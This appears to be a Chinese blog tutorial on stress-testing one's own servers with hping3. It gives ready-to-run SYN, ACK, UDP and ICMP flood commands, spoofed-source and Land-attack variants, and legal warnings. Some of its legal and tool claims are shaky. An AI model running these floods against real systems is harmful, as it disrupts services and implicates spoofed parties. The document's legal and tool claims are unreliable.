本文目录导读:

DDoS(分布式拒绝服务)攻击是非法的,未经授权对任何网络、服务器或服务进行DDoS测试属于违法行为。hping3 是一个强大的网络测试和安全审计工具,只能在你自己拥有并明确授权的网络环境中进行性能或压力测试。
仅限于你对自己拥有的服务器或获得明确书面授权的目标进行安全测试与压力测试**。
hping3 用于压力测试的常见模式
hping3 可以通过构造不同协议的数据包(TCP、UDP、ICMP)来模拟各种攻击流量。
SYN Flood 模拟(最常用)
模拟大量的TCP半连接请求(三次握手的第一次握手的SYN包),消耗目标服务器的连接资源。
# 最基本的SYN Flood # -S: SYN标志位 # -p: 目标端口 # --flood: 尽可能快地发送数据包(不等待回复) # --rand-source: 随机化源IP地址(这种形式极大概率被ISP/云平台封堵,仅限实验室环境) hping3 -S -p 80 --flood --rand-source <目标IP>
更安全的变体(使用固定源IP):
# 去掉 --rand-source,使用本机真实IP(通常会被防火墙拦截,但不会触发大规模反制) hping3 -S -p 80 --flood <目标IP>
ACK Flood 模拟
发送大量ACK包(通常状态无效的ACK),迫使目标服务器去查找对应的连接,消耗CPU资源。
# -A: ACK标志位 hping3 -A -p 80 --flood <目标IP>
UDP Flood 模拟
发送大量UDP数据包到目标端口(如DNS 53端口或随机端口)。
# --udp: UDP协议 # -p: 目标端口 hping3 --udp -p 53 --flood <目标IP> # 发送随机大小数据(更接近真实攻击) hping3 --udp -p 53 --flood --data 1024 <目标IP> # 每个包带1024字节随机数据
ICMP Flood (Ping Flood)
发送大量ICMP Echo请求。
# -1: ICMP模式 # -d: 数据包大小 # -q: 安静模式(减少输出) hping3 -1 --flood -d 65000 <目标IP> # 发送超大ping包(分片攻击)
Land Attack(特殊测试)
发送源IP=目标IP、源端口=目标端口的包(曾经能让早期系统崩溃)。
# 伪造源IP与目标IP相同(仅实验室) hping3 -S -p 80 --flood -a <目标IP> <目标IP>
关键参数详解
| 参数 | 作用 |
|---|---|
-S |
TCP SYN标志 |
-A |
TCP ACK标志 |
-P |
TCP PUSH标志 |
-p |
目标端口 |
--flood |
极速发送(不等待响应) |
--rand-source |
随机伪造源IP(危险:可能触发ISP/云商封禁你的VPS) |
-d |
数据段大小(字节) |
-a |
伪造源IP地址 |
--data |
附加随机数据 |
-c |
发送总包数(不用--flood时) |
-i u100 |
每个包间隔100微妙(控制速率) |
典型安全测试场景示例
场景1:测试自己单台服务器的抗SYN Flood能力
# 服务器A(目标): 192.168.1.100 # 服务器B(测试机): 192.168.1.101 (同一个内部可控网络) # 在B上执行(不使用随机源IP) hping3 -S -p 80 --flood 192.168.1.100 # 观察A上的nginx/apache连接数、CPU、网络曲线
场景2:模拟少量多端口攻击
# 轮询攻击端口80、443、22 for port in 80 443 22; do hping3 -S -p $port --flood 192.168.1.100 & done
场景3:混合攻击测试(SYN+ACK+UDP 组合)
需要开多个终端或使用脚本:
# 终端1: SYN Flood 80端口 hping3 -S -p 80 --flood 192.168.1.100 # 终端2: ACK Flood 80端口 hping3 -A -p 80 --flood 192.168.1.100 # 终端3: UDP Flood 随机端口 hping3 --udp -p 53 --flood --rand-source 192.168.1.100
重要安全警告
- 法律红线:对未经授权的目标使用——即使看起来人畜无害的
-S --flood——构成非法入侵计算机信息系统罪(中国《刑法》285条)或《计算机安全法》违规。 - 服务商封号:云服务提供商(AWS、阿里云、腾讯云等)会自动检测出站SYN Flood流量,即使你有授权的测试,也必须先联系他们开启“DDoS模拟白名单”,否则机器会被立即停机并封号。
- 限制速率:建议使用
-i u1000(每1毫秒一个包)起步逐步增加,不要直接--flood。 - 网络影响:即使是你自己的服务器,如果位于共享机房或数据中心,大规模发包也会干扰同机柜其他用户的网络,对方可能会投诉。
- 替代推荐:
- 更专业的工具:
Loic(低轨道离子炮,常用于授权压力测试)、Slowloris(慢速攻击测试) - 云服务自带测试:AWS的
DDoS Simulation Testing、阿里云的Web DDoS防护演练
- 更专业的工具:
正确测试姿势(个人建议)
- 在自己的实验室环境:用2-3台虚拟机搭建(一台跑Web服务,一台运行hping3)。
- 使用脚本逐步加压:从100包/秒开始,观察目标CPU/连接,再适当增加。
- 记录结果并清理:测试后关闭hping3,检查目标是否恢复,必要时重启服务。
如果你没有明确的、可溯源的测试授权,请不要输入任何一行hping3 --flood命令。 这道防火墙不仅是法律,也是对行业规范的尊重。
标签: DDoS测试
版权声明:除非特别标注,否则均为本站原创文章,转载时请以链接形式注明文章出处。